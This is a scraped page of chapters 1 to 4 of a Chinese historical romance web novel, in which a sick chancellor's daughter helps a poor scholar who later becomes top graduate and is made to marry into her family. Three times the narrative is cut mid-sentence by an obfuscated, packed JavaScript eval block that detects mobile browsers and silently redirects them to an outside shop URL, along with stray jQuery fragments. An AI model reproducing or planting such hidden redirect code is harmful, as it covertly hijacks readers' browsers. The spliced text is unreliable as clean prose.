《病美人她强娶了状元郎》 1. 第 1 章 天幕沉沉垂落,几点疏星被浓云遮得朦胧。 夜已经很深了,但半山腰的庄子里还灯火通明。 廊下值守的下人垂手肃立,丫鬟们捧着热汤暖炉,脚步轻缓地穿梭往来。 “咳咳……” 床旁的桌案上,堆满了从崇安城送来的密函和账册。 穆卿云靠坐在床头,放下药碗,捏着帕子掩唇轻咳。 “小姐……” 知微端来一碟蜜饯,劝道,“您喝了药早点休息吧,别再操劳这些庶务了。大夫说您身子虚,最忌劳神,需得静养。” 穆卿云捻起一颗蜜饯放进口中,压下喉间翻涌的苦味儿。 “让他们都下去吧,不必守着,让我静一静。” 她揉了揉眉心,苍白的脸上满是疲惫。 屋里的烛火明明灭灭,穆卿云刚缓了口气,就听见一墙之隔的院子外,传来清越的琅琅书声。 “夫仁政,必自经界始。经界不正,井地不钧,谷禄不平……” 刚要出门的知微自然也听见了这道声音。 她脚步一顿,扭头看了眼穆卿云的脸色:“夜深人静的,不知何人在外喧哗,奴婢这就去把人撵走。” 但不料,穆卿云却忽然抬手制止:“不必,随他去吧。” 这道声音她并不陌生。 她来潼水养病的这段日子,夜里时常能听见墙外的这道读书声。 有时候是《尚书》,有时候是《盐铁论》,有时候是针砭时弊的策论,言辞犀利,一针见血,应该是他自己所作的文章。 这人虽身处乡野,却心有沟壑。 穆卿云听得出他字句里的凌云意气,自然也听得出他对报国无门的郁郁不得志。 可惜了,这等经世之才,倒是比崇安城里,那群尸位素餐的草包要强上不少。 下人们轻手轻脚地退了出去,屋子里重新安静下来。 穆卿云捂着胸口轻咳了一会儿,叹了口气在床上躺下,闭眼听着那道读书声,身上的不适仿佛渐渐淡了,心绪也跟着平和了几分。 几场冬雨过后,是个难得的大晴天。 穆卿云处理完手头的事务,决定去院子里走走。 潼水的冬日不算太冷,气候宜人,是个适合养病的好地方。 穆相本意是想让女儿远离朝堂,放下肩头的担子,去山水之间好好将养身心。 可谁知,穆卿云虽然离开了崇安城,雪花般的书信却还是簌簌落在她的案头,无一日停歇。 “小少爷又来信了,说想念阿姐,想来潼水找您呢。” 知微扶着她的手臂,轻声禀道。 想起那封字迹被泪水晕开些的信,穆卿云也不禁莞尔:“子钰还小,眼下正是课业要紧的时候,父亲不会放他离开崇安的。” 知微打趣道:“咱们小少爷从小最黏您,这一别数月,怕真是度日如年了。” 穆卿云抬眸,望向墙头那枝斜探进来的蜡梅,忽然想起,院外那道读书声,似乎有好几日没有响起了。 是放弃考取功名了,还是家中有事耽误了? 穆卿云不得而知,只是心里隐隐有些失落。 就好像在寂寥寒冷的暗夜里,默契并肩行走的两个人,却忽然断了联结,了无踪迹。让人忍不住有些莫名的怅然。 下午在书房处理完堆积的事务,天色已经暗了下来。 穆卿云缓步走在清冷空寂的廊下,连日操劳的疲惫让她有些头重脚轻。 知微走在她身后,正琢磨着晚上要不要让厨房再加一道滋补的药膳,前面的人忽然停住脚步,她没反应过来,差点一头撞上去。 “小姐?”知微慌忙收步,探头问,“您怎么了?” 穆卿云眉峰微蹙,望向院外的方向:“外面的灯笼怎么灭了?” 知微顺着她的视线看过去,解释道:“兴许是前两日夜里风大,灯烛被吹熄了,奴婢这就让人重新点上。” 原来如此…… 那人每晚就是靠着这点微光照明,才能在檐下读书到深夜,怪不得最近几天都没来了。 穆卿云悄悄松了口气,心底忽然又升起几分隐秘的期待。 子时的更鼓敲过,案头的灯油也添过好几遍。 穆卿云终于搁下批注用的朱笔,起身揉了揉僵硬的肩膀。 正在一旁打盹的知微见状,连忙醒了醒神,上前扶住她的手臂。 “小姐,很晚了,该歇了。” “嗯。” 穆卿云把案头的文书都整理好,“明日把这些信件都送回崇安城,让他们按我批注的意思去做。” “是。” 知微轻声应下,又替她解开外袍,服侍她上床躺下。这才吹熄了油灯,默默退出了里间。 一片黑暗的寂静里,穆卿云缓缓翻了个身。 身体上那些被刻意忽略的不适又逐渐漫了上来,让她耳畔嗡鸣不止,胸口发闷,忍不住轻咳了两声。 “咳咳……” 忽然,那道熟悉的声音又在院外响起。 “治世之要,在得民心、整朝纲、安社稷。乱世之兆,在冗官误国、苛政伤民、贤才隐野……” 穆卿云连忙捂住嘴巴,忍住喉咙里的痒意,凝神细听。 “……冗官冗吏充斥朝野,无功者窃居高位,有才者沉沦下僚。当今之世,表面承平,内里已现颓势……” 这人当真大胆,竟敢妄议朝纲,不过也就是仗着这里地处乡野,远离崇安朝堂,无人在意罢了。 大抵他自己也没想到,一墙之隔的院子里,居然还有人在认真细听他这满纸孤愤的策论吧。 穆卿云微微摇头,眼里却流露出几分赞赏。 虽说此人言辞间尚有几分青涩,但这份忧国忧民的赤诚和坦荡却十分难得。 如今的朝堂之上,缺的也正是像他这样,真正能为黎明百姓发声的寒门官员。 院外那人正读到慷慨激昂处,声音却忽然戛然而止。 穆卿云屏气凝神等了好一会儿,都没听到后续,正在疑惑间,院外那人却忽然哼起了一支柔和的小曲。 那曲子没有歌词,只有悠扬舒缓的旋律,混着夜风吹过蜡梅的暗香,轻轻飘进屋里。 小曲哼了半阙,便渐渐低了下去,最后只剩一声极轻的叹息。 穆卿云的心头莫名一动,竟忽然生出一股想要见他一面的冲动。 也许是想看看这在深夜挑灯论政的人,到底长什么样子。 也许只是感念他这份不被世俗折腰的赤诚,想力所能及地帮他一把。 总之,在身为相府大小姐的这十八年里,穆卿云极少出现这种不受控的念头。 “秦砚!” 药铺掌柜一边招呼着围在台前的客人,一边麻利地把包好的药包捆结实,伸长脖子对着门外喊了一声。 “你的药好了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524715|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎!来了!” 坐在门外石阶上看书的书生连忙站起身,拍了拍衣摆上的浮灰。 他身材高挑挺拔,长得眉清目秀,穿着一身浆洗到发白的袍子,双手接过沉甸甸的药包,笑着冲掌柜的点了点头。 “多谢掌柜的!” 掌柜的摆了摆手,叮嘱道:“还是老样子,一天两剂,早晚各煎一次温服,你娘要是情况不好,再来找我便是。” “我记下了,”秦砚挠了挠头,有些窘迫道,“这次的药钱我再想想办法,争取三日内凑齐给您。” “不急,给你娘治病要紧。” 掌柜的拍了拍他的肩膀,大笑道,“我还等着你金榜题名,将来高中状元,可别忘了我们这些乡亲父老啊哈哈哈……” 他这话虽是好意,但却让秦砚更加难堪,还引得店内众人纷纷侧目,对着他指指点点。 “哟,这不是村东头秦木匠的儿子吗?” “可不是嘛!瞧他那样儿,去哪儿都带着那几本破书,看来是还没放弃做状元梦呢!” “他老娘都那样了,他还天天抱着那些书瞎琢磨,连药钱都凑不齐。” “我看啊,他这书都读到狗肚子里去了,还不如当初早点继承他爹的衣钵,当个木匠,好歹能换口饭吃呢!” “就是!寒门子弟还想登科及第?简直是痴人说梦!” “……” 刺耳的议论声钻进耳朵,秦砚低着头,脸颊涨得通红。 他对着掌柜千恩万谢之后,连忙拎着沉重的药包,一路小跑回到了自家的茅草屋。 前几日夜里刮了大风,低矮的篱笆墙被吹塌了一截,还没来得及修缮。 狭小的院子里,靠着围墙的角落,用油纸布盖着一堆做木工的工具,上面还铺了一层防潮的稻草。 秦砚把手里的药包放在院子里的石桌上,然后拿上几根粗木棍和麻绳,去修补那片倒塌的篱笆墙。 屋里的人听见动静,拄着拐杖扶着墙,颤颤巍巍地走了出来。 “砚儿,是你回来了吗?” “是我,”秦砚丢下手里的东西,连忙上前搀扶,“娘,您怎么下床了?” 秦母患病卧床已久,整个人已经瘦成了一把干柴。 松松垮垮的皮肉挂在嶙峋的骨架上,走几步都像是要散架了。 秦母伸出枯瘦的手,拍了拍儿子的手背:“那片篱笆你别管了,趁着天色还亮着,赶紧去读会儿书吧。” 想起刚刚听见的那些议论,秦砚瞟了一眼墙角的工具,犹豫道:“娘,要不我这几天先去接点木工活儿,多挣些银子,给您治病要紧。” 不料,秦母闻言,却忽然激动起来。 “你胡说什么?是不是又在外面听了什么闲言碎语?早就跟你说过了,家里的事不用你操心,你只需安心读书,只有踏入仕途,将来才能出人头地……咳咳咳……” 话说到激动处,秦母突然剧烈咳嗽起来,整个人抖得如同风中残烛。 秦砚连忙扶着母亲在凳子上坐下,“娘,您别激动,儿子听您的话就是了。” 秦母弯着腰,胸腔里发出破风箱似的呼哧声,好一会儿才渐渐平复。 她抬起头,语重心长地对儿子说:“虽然你爹走得早,但是我们对你的期望从来没变过。” “娘相信你是有大出息的人,不要被眼下的苦难困住了。熬过这一程,等你一朝高中,咱家就能彻底翻身了。” 2. 第 2 章 “踏入仕途……” “出人头地……” “彻底翻身……” 可是娘……登科入仕的青云路哪有那么容易? 家里穷得都快揭不开锅了,哪还顾得上那些虚无缥缈的锦绣前程? 如此执着这条路,难道真的不是在自欺欺人吗? 郁郁葱葱的半山腰上,秦砚撑着膝盖喘了口气,抬头看向山林之中,那处气派幽静的庄子。 两个多月前,他夜里上山砍柴,意外发现这里一直空置的庄子外头居然亮着灯。 庄子里不知住着何人,白日里也没看见下人进出。 那朱门高墙的院子外,不要钱似的彻夜点着灯笼。 秦砚默默观察了几日,发现此处似乎无人看管过问,于是便在院子外搭了一个临时的遮雨棚,时常带着书本上山,借着那片彻夜不熄的微光,一遍遍诵读经史策论。 虽然这会儿天色还早,还没到他平日来读书的时候,但秦砚心头苦闷,不知不觉间就走到了这里。 或许只有沉浸在经史字句之中,才能暂时驱散心头的迷茫吧。 秦砚轻轻叹了口气,走向他亲手搭起的遮雨棚,想去取放在那里的书卷。 可今日他刚拐过墙角,就看见一道头戴帷帽,身姿纤细的背影,正弯着腰,在细细打量他留下来的破旧书卷。 秦砚惊得停住脚步,他从未想过,这庄子里竟然真的有人。 “姑娘……” “啊……” 穆卿云没注意到有人靠近,被吓得一颤,手里的书卷落在地上。 “失礼了……” “唐突了……” 两人同时躬身,同时跟对方道歉,又同时停下。 穆卿云连忙捡起地上的书卷,将它放回原处,然后才又对他欠了欠身:“今日闲来出门散步,看见这里摆放着书卷纸笔,一时好奇就多看了几眼,还望公子莫要见怪。” 秦砚心头一慌,连忙拱手弯腰:“姑娘言重了,是在下擅自在此处借光读书,占了地方。若是叨扰了姑娘,在下这就把东西撤走。” “不妨事,此处空旷,公子自便就好。” 穆卿云笑了笑,这才抬眼,隔着帷帽的纱帘,打量着面前的书生。 他身上虽然穿着发白的粗布旧袍,但眉目清俊干净,鼻梁挺直,唇线利落。即便衣着朴素,也难掩那股温文尔雅,芝兰玉树的君子气质。 倒是跟她想象中,如出一辙。 虽然隔着一层白纱,但秦砚还是能感受到她的视线一直落在自己身上,于是脸更红了。 他低下头,看向那堆破旧的书卷,苦笑道:“只是一些废纸残篇,让姑娘见笑了。” 穆卿云微微偏头,似乎是看了书堆一眼:“这篇《治世疏》,可是公子所做?” “是,”秦砚老实道,“闲来有感而发,言语粗鄙,难登大雅之堂。” “我刚刚看了数行,只觉得见解独到,立论沉稳,格局开阔,绝非寻常书生空谈之语。字里行间皆是赤诚,有忧国忧民之心,亦有济世安民之志。这般才学风骨,便是在世家子弟之中,也极为难得。” 忽然意识到自己说的好像有点多了,穆卿云轻咳一声,又问:“公子有这等才情,为何不进京赶考,一展抱负,为国效力?” 没想到今日已经是第三次提及此事,秦砚苦笑道:“不瞒姑娘,在下囊中羞涩,连进京的盘缠都凑不齐。还有家母年迈体弱,需人照料,实在无法抽身远行,所以只能暂且搁置赶考之心,先守着家母,挣些碎银为她治病。” “哦……” 穆卿云指尖捻着帷帽的系带,轻叹一声,“那真是可惜了。” 秦砚不敢跟她对视,只能规规矩矩地低头答话。 即使这位姑娘只穿着一身素色襦裙,却也不难看出那料子上乘,裙角还绣着暗纹,是普通人家绝对难以企及的体面。 她虽然帷帽遮面,但举手投足间皆是大家闺秀的温婉气度。 相比之下,自己身上这套打满补丁的粗布旧袍就显得格外寒酸。 秦砚攥住衣角上的补丁,悄悄背过手,想要掩饰自己的窘迫。 他在脑中迅速把潼水城所有的高门大户都捋了一遍,也没想起哪家有位这般年纪的小姐。 “姑娘是哪座府上的小姐?是来这庄子里小住散心?” “我只是一介闲人,图这山间清净,所以便来这里稍作停歇罢了。” 穆卿云说完,对他微微欠身,“我该回去了,不打扰公子用功。” “呃……哦……” 这位姑娘谈吐不凡,待人谦和,说话温柔又好听,还夸他有风骨。秦砚私心还想跟她多聊一会儿,但碍于礼数,也只好连忙侧身让开,垂着头恭敬道:“姑娘慢走。” 穆卿云衣袂翩飞,带起一缕馨香,经过他身边的时候,似乎还轻笑了一声。 “公子安心读书,日后若有机缘,或许还能再见。” 天色渐晚,庄子外的灯笼一盏接一盏地亮起。 秦砚倚在墙边,手里捧着那卷常读的书卷,却半天没有翻动一页。 他心神恍惚,眼神发直,脑海里一直萦绕着刚刚那位姑娘。 “见解独到,立论沉稳,格局开阔……有忧国忧民之心,亦有济世安民之志……” 回想起她夸自己的话,秦砚忍不住嘴角上扬,傻笑出声。 山中传来几声归鸟的啼鸣,这才拉回他的神智。 秦砚甩了甩脑袋,摒除杂念,暗怪自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524716|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过分心。正准备掏出书堆里的笔记,却忽然发现,书卷夹层里似乎有一个硬邦邦的东西。 他伸手拿出来一看,发现竟然是一枚沉甸甸的金元宝! 秦砚活了十七年,还是头一次见到这么大的金子。 平日里他挣的碎银,勉强够给娘亲抓药,维持生计,别说金元宝,便是一两银子,他都要攒上许久许久。 秦砚表情空白了好一会儿,好在还没有完全失去理智。 他很快想到,在这人迹罕至的山林间,会留下这般贵重之物的,只可能是先前那位姑娘! 萍水相逢,非亲非故,他如何受得起此等大礼? 秦砚立刻放下手里的书卷,大步跑向庄子大门。 他站在朱红色的大门前,低头整理了一下衣襟,才抬起手,轻轻叩响门板。 过了一会儿,里面传来脚步声,大门很快被打开,但前来开门的却是另一位姑娘。 秦砚愣了一下,还是低头拱手道:“姑娘,在下今日在庄子外碰见贵府小姐,这枚金元宝应该是那位小姐留下的,还请姑娘代为转交,物归原主。” 知微上下打量他一眼,心里暗骂了一句“书呆子”,掩唇轻笑道:“既然是我家小姐赠与公子的,那万没有再收回来的道理,公子且安心收下吧。” 秦砚连忙摆手,推辞道:“不不……这太贵重了,这般厚赠,在下受之有愧……” 知微直接打断他:“若是公子当真觉得过意不去,那就好好读书,争取早日金榜题名,莫要辜负我家小姐的赏识才好。” 话音刚落,那扇大门便再次合拢。 只留下秦砚满脸呆滞地伫立在门外,久久未能回神。 书房里。 穆卿云正伏案执笔写字,听见知微的脚步声进来,头也不抬地问道:“是他吗?” “是呢,”知微笑着打趣道,“那书呆子冷不丁得了一锭金元宝,吓得魂儿都飞了,双手捧着非要送回来,让我给打发走了。” “处境窘迫,三餐难继,却还能守得住本心,不贪意外之财,这份风骨倒是难得。” 穆卿云搁下笔,想起今日在他那篇《治世疏》末尾看到的落款。 “秦砚……” 这名字倒是配他,希望他日后能得偿所愿吧。 知微凑上前来,疑惑地问:“小姐这般惦记他,莫不是真觉得这书呆子将来能登科及第?” 穆卿云摇了摇头,却并未否认:“识人看心,观文见志。他眼底有光,心中有丘壑,只要得一个机会,未必不能一鸣惊人。我今日所做,不过是顺手递他一把,能否抓住,终究还是要看他自己。” 知微悄悄撇了撇嘴,嘟囔道:“希望那呆子争点气,别辜负我们小姐的一番苦心。” 3. 第 3 章 两年后。 御街风暖衣袍胜,一朝名动帝王城。 新科状元秦砚,受封为翰林院修撰,官阶正六品,专掌修撰国史,草拟文书。 他在崇安城租了一间低矮的茅屋,屋子虽破旧了些,但好歹能遮风挡雨,收拾干净整洁之后,也算是有了一个落脚之处。 这日清晨,天刚蒙蒙亮,院门外就传来一阵呼喊声。 “秦砚!收拾好了没有?该去翰林院点卯了!” “来了来了!” 秦砚连忙搁下手里的粥碗,起身过去开门。 外面站着的是一身官袍的尹都。 当初两人一同进京赶考,寒冬腊月一起挤在破庙里苦读,因此结下了深厚的友谊。 虽说尹都才学一般,最后也只在翰林院得了个抄写打杂的差事。 但他性子豁达,从不计较高低,看到秦砚能高中状元,他比谁都高兴。 “先进来吧,我马上就收拾好。” 秦砚拉开老旧吱呀的木门,侧身让尹都先进屋。 尹都摸了一把掉渣的墙皮,一脸嫌弃地说:“你如今都是翰林院修撰了,也不说租个好点的房子,赚那么多钱都攒着做什么?” 秦砚端起碗,一口喝完剩下的粥,然后一边收拾碗筷,一边回答道:“这里清净便宜,离翰林院也近,能安心读书做事,我觉得挺好的。” 还有另一层原因他没好意思说。 虽说如今已经顺利入仕为官,但他却仍然记着当年那位姑娘雪中送炭,赠与他的金子。 他如今努力攒钱,也是为了将来寻得那位姑娘,好当面还了这份恩情。 收拾完,两人一同出门,来到翰林院。 尹都当差的待诏厅在翰林院西侧的偏院,于是进门后两人就拱手作别,各赴差事。 秦砚来到属于自己的小小隔间,桌案上还堆着一摞码放整齐的孤本残卷。 这是院正大人交给他的任务,需得校勘文稿中的讹误,重新装订成册,再交由待诏厅誊录清本。 翻开一本满是虫蛀痕迹的残卷,秦砚打起精神,取来笔墨和校勘用的小楷纸,一笔一画补全缺失的文字。 忽然,有人敲了敲隔间的门板。 “秦修撰,忙着呢?” 秦砚抬头一看,见是翰林院的管事李大人,连忙起身作揖:“李大人前来,可是有什么吩咐?” 李管事笑呵呵上前,拍了拍他的肩膀:“秦修撰初入翰林院,院正大人十分赏识你的才华,今日召你过去,是有要务交代,随我来吧。” 秦砚心中虽有疑惑,却还是恭敬应道:“是。” 二人一路穿过朱红廊柱,来到院正大人的掌院堂。 李管事敲开门,侧身让秦砚进去,自己却只侯在门外。 秦砚看了他一眼,理了理官袍,这才走入堂中。 “院正大人,”他敛衽行礼,神色恭敬,“不知大人召属下前来,有何吩咐?” 年近花甲的掌院学士韩信鸿头发花白,却精神矍铄,眼神锐利。 他手中握着一卷文书,扫了一眼堂下立着的人,问:“秦修撰,待诏厅供事尹都,你可认得?” 秦砚不敢隐瞒,老实道:“尹都是与在下一同赶考,患难与共的好友,属下不知……他可是犯了什么错?” 韩信鸿招了招手,示意他走近些,把桌上的文书给他看。 那是翰林院各部门的考核清单,在尹都的考评一栏,写了一个鲜红的“下等”。 秦砚眉头一跳,心里吃了一惊。 要知道,若是在翰林院考评中被评为下等,那可是要面临着罢黜革职的风险。 韩信鸿盯着他的表情,又从手边的卷宗里抽出另一份文书,摊开放在他面前。 秦砚俯身细看,只觉得越看越心惊。 “院正大人,您这是何意?” 韩信鸿神色淡淡,手指轻轻点了点尹都的名字。 “修撰,听闻你与此人交好。老夫也不是不近人情的人,只要你在这份弹劾京兆尹邵同光的联署书上签个名,你朋友的前程就能保住。一份联署,换你朋友一个出路,这买卖很公平,你说是不是?” 虽说秦砚入仕不久,却也听闻过朝中派系倾轧。 翰林院院正韩信鸿,是当朝太傅温广誉的人,而这封弹劾信的目标邵同光,却是丞相穆正德的心腹。 韩大人此举,一是想借秦砚之手,铲除异己。 二是想试探一下,这位寒门出身的新科状元,到底会选择哪方阵营。 早就听闻穆相清正廉明,素来体恤寒门士子。 秦砚出身低微,拼了命地寒窗苦读才走到今天,必然做不出这等趋炎附势,构陷忠良之事。 他垂手而立,沉默良久,还是沉声拱手道: “大人,晚辈要是签了这个名,既对不起自己十年寒窗读的那些圣贤书,也没脸再见我那位好朋友。今日我若为救一人而害一人,他日必为救十人而害百人。此路一开,永坠阿鼻。请恕……晚生不能从命。” 韩信鸿眯着眼睛深深看着他,忽然哼笑一声:“罢了,老夫不过是随口问问而已,你下去吧。” 秦砚再次躬身行礼,缓缓退出掌院堂。 直到走出很远,他才恍然发觉,自己竟然惊出了一身冷汗。 他知道,今日这番拒绝,定然会得罪韩大人,往后在翰林院的日子,怕是不会好过了。 原以为此事就这样过去了,但三日后的朝会上,因为一项“荫补士子”的提议,穆相和太傅两派,又在金銮殿上吵得不可开交。 温太傅吵得口干舌燥,缓了口气,忽然扭头看向了队列末尾的秦砚。 “秦修撰,你乃寒门翘楚,又是陛下亲自点的状元,说说看,你对这个提议怎么看?” 此言一出,就连御座之上的皇帝,都把视线投向了这位年轻的修撰。 在令人窒息的寂静中,秦砚出列,走到大殿中央,向御座深深一拜。 “陛下,诸位大人。此议,臣,坚决反对。” 秦砚全然不顾四周传来的抽气声,继续说道。 “臣出身寒微,深知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524717|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一间陋室、一盏油灯、一卷借来之书,得来何等不易。世家子弟已经占尽朝堂先机,万不能再借着‘荫补’之名,垄断仕途、挤压寒门出路。若是此议推行,恐怕会寒了天下千万寒门士子的心。” 这人怕不是疯了吧? 竟敢当众反对太傅的提议? 满朝文武皆是一惊,连穆相都微微蹙起眉头,看向秦砚的目光里,多了几分赞赏之色。 “秦砚!”韩信鸿低着头,拼命跟他使着眼色,“别说了!快住口!” 秦砚明白,他如今早就骑虎难下了。 就算他现在闭口不言,温太傅一党也绝不会放过他,迟早会找他的麻烦。 既然如此,索性破釜沉舟,把自己心里的想法,全都痛痛快快地说出来。 “今日之议,名为‘荫补士子’,实为断绝千万寒门之望,复辟门阀之私!此例一开,科举将形同虚设,寒门再无晋身之阶。臣,愿以一身之前程,一身之安危,坚决反对此议!” 话音落下,金銮殿上鸦雀无声。 皇帝居高临下地凝视着这位出身寒门,却敢直言犯上的新科状元,忽然勾起一抹意味深长的轻笑。 “狂妄竖子!不知天高地厚!” 温太傅大怒,大步上前道,“陛下,此子殿前狂言,诋毁国策,离间朝堂!恳请陛下严惩,以正朝纲!” 灰色的云层低低压在崇安城的上空,寒风刮在脸上,带着刺骨的凉。 秦砚孤身一人站在翰林院门前,执拗地等待着韩大人的召见。 朱红的大门前,无数官吏杂役进进出出,却没有一个人愿意上前与他搭话,要么低头疾走装作没看见,要么隔着老远就悄悄绕开。 谁都知道,秦砚今日当众顶撞温太傅,又得罪了身为太傅党羽的韩院正,此刻跟他扯上关系,无异于引火烧身。 李管事路过门前,有些不忍,上前劝道:“秦修撰,你今日因为顶撞太傅,已经被罚了半年的俸禄,怎么脑袋还是不开窍呢?” 秦砚被冻得鼻尖通红,垂头拱手道:“李大人,今日之事是我一人执意为之,与旁人无关。在下只是想当面问问韩大人,为何要借考评之事刁难尹都,迁怒于他?” “那尹都考评得了下等,被贬黜也是情理之中,有什么好深究的?” “我与尹都相好,最明白他的勤勉。他往日里抄录文书,校勘典籍从未出过差错,何至于被评为下等?这般颠倒黑白,公平何在?” “官员考评都是上头的大人们说了算,岂是你说不公就不公的?” 李管事见跟他说不通,于是摇了摇头,也转身离去。 细碎的雪花飘落而下,簌簌落在翰林院的飞檐和朱门上。 也落在秦砚的肩上。 往来的官吏早已散尽,偌大的院前空空荡荡,只剩寒风卷着雪沫,在空旷的石阶上打着旋。 红墙被雪浸得发暗,石狮覆雪如霜,整座翰林院静得可怕。 他就这样执拗地站在翰林院的大门口,犹如一尊孤傲的寒玉,在等待着一份无人能给的公正。 4. 第 4 章 窗外寒风彻骨,相府的暖阁里燃着银丝炭。 屋里暖融融的,却驱不散穆卿云周身的寒意。 “咳咳咳……” 她肩头披着厚厚的狐裘,倚在贵妃榻上,听着父亲讲述今日朝中发生的事情。 “那秦砚怕是要折在太傅手里了,”穆相摇头叹息,“可惜了,是个好苗子。” 穆卿云攥紧染了血的帕子,抬眼望向窗外枯枝上最后一片不肯坠落的叶。 “父亲,救他。” 穆相满脸愕然:“如何救?” “请旨,让他入赘相府。” 穆卿云声音很轻,却很坚定,“女儿这副身子,撑不了太久。既然要死,不如死前做件善事。” 穆相闻言,眼眶忽然就红了。 “时雨,别这么说……爹爹一定会为你找到神医,治好你的病。你还这么年轻,别说这些丧气话。” 穆卿云淡然地笑了笑,继续说道:“若我不在了,子钰又还小,相府需要有人挑起大梁。女儿觉得,秦砚或许是个不错的人选。” “阿嚏——” 秦砚打了个喷嚏,偏头揉了揉鼻子。 他前两日在雪中站了太久,回去当晚就病倒了。但因为处境艰难,又不敢随意告假,只得强撑着病体,一步步挪到翰林院当差。 从前还有尹都陪他,那时事务虽繁杂,到底不觉得孤单。 如今尹都被罢黜,偌大的翰林院,竟然没有一个能说上几句闲话的人。 满室寂静,冷清得让人发慌。 浩瀚如海的残卷怎么也整理不完,案牍堆得像一座座小山。 当初金榜题名,风光无两,秦砚还以为自己终于可以凭一身才学,去实现胸中抱负。 可世事难料,那些拨弄风云的大人物们轻飘飘一句话,就让他一头扎进了这深不见底的泥潭,怎么挣扎都爬不起来。 正恍惚间,门外忽然传来一阵尖细的通传声: “圣旨到——翰林院修撰,秦砚接旨!” 秦砚听见自己的名字,心头一震,连忙放下手中的残卷,匆匆来到院中。 一名身着靛青色宫衣的太监,手捧圣旨,神色倨傲地站在院中央。 翰林院的官吏们闻声都探出头来,远远地站着,没人上前,目光却齐刷刷地落在秦砚身上。 “奉天承运,皇帝诏曰:新科状元秦砚,才情出众,品性端方,朕心甚慰。今丞相穆正德之女穆卿云,温婉贤淑,愿得良人相伴。特赐秦砚入赘穆府,与穆氏婚配,择吉日完婚。婚后秦砚留任翰林院修撰,加赏五品俸禄,钦此!” 高亢嘹亮的声音落下,秦砚直接僵住了,大脑一片空白。 入赘相府? 来崇安城这么久,他从未与相府有过半点交集,更未曾见过那位穆小姐,陛下怎会突然下此圣旨? 见这人还傻愣着不动,太监不耐烦地轻咳一声,晃了晃手中的圣旨。 “秦修撰,接旨啊。” 秦砚这才如梦初醒,僵硬地双手接过圣旨。 “臣……臣领旨,谢主隆恩。” 太监见他接了旨,也不多留,冷哼一声,带着小太监转身离去。 他一走,翰林院的官吏们就炸开了锅。 “啧啧,真是没想到啊,秦砚这是走了狗屎运了!” “可不是嘛,前几日还在门口罚站,如今竟能入赘相府,攀上穆相这棵大树,这是要一步登天,飞上枝头变凤凰了啊!” “嘘……小声点,别被他听见了,往后他可是穆相的女婿,咱们可得罪不起。” “哈哈哈……” 秦砚握着圣旨,孤零零地站在院子里。同僚们的嘲讽声清晰地传入耳中,他却无力反驳,也无心反驳。 寒风吹得他瑟瑟发抖,却不及心中的茫然半分。 为了弄清楚这道圣旨的来由,秦砚第二天一早便等在相府门前,只待穆相一出现,就立刻冲了上去。 “丞相大人!在下翰林院秦砚,斗胆一问,陛下为何会突然赐在下入赘相府?” 穆相抬手示意身边的侍卫退到一旁,意味深长地看了秦砚一眼,叹道:“秦修撰不必多问,这门婚事,于你而言,是福非祸,你只管回去做好准备便是。” “丞相大人……” 秦砚一头雾水,还想上前追问,却被侍卫们出鞘的刀刃给生生逼退。 城郊的一家茶楼里。 尹都给秦砚倒了杯酒,大咧咧道:“兄弟,别发愁了。我听说那相府千金是个病秧子,没几天活头了,等她死了,你还不是照样可以另谋出路,潇洒快活?” 秦砚举起酒杯抿了一口,被辛辣的酒液呛得连连咳嗽。 “噗咳咳……你这不是茶楼吗?怎么还卖酒?” 尹都笑着递给他一块干净的手帕:“这你就不懂了吧,即是茶楼,需得有清茶待雅客,当然也少不了美酒慰风尘。” 秦砚擦了擦嘴角,抬眼扫了一圈这简陋破败,桌椅陈旧,三面漏风的茶楼,愧疚道:“尹兄,是我连累了你,害你丢了官职,如今落得这般境地。” 尹都摆了摆手:“没什么大不了的,反正我早知道自己不是当官的料子。不瞒你说,其实我早就不想在那儿干了,所以你也不必把此事放在心上。” 可当初两人寒窗苦读,为的不就是有朝一日入朝为官吗? 如今却害他落得个贬黜官职,流落城郊的下场,秦砚还是满心愧疚,终究过不了自己这关。 尹都展开手臂,眉飞色舞地环视自己的这家茶楼。 “我这里虽暂时简陋了些,但胜在逍遥自在,不必察言观色,谨言慎行,也不必看那些官员勾心斗角。每日守着这小茶楼,喝喝酒、聊聊天,岂不美哉?” “话虽如此,可这终究不是你我当初所求,还是委屈你了。” 秦砚从怀中掏出一个沉甸甸的荷包,放在他面前。 “这是我的一点心意,尹兄如今茶楼生意刚起步,多得是用钱的地方,还望莫要推辞。” 尹都知道,若是他不收这钱,秦砚这家伙肯定会耿耿于怀,说不定晚上连觉都睡不好。 于是他伸手拿起荷包掂了掂,笑道:“那就却之不恭了,来!今日好酒管够,你我兄弟二人不醉不归!” 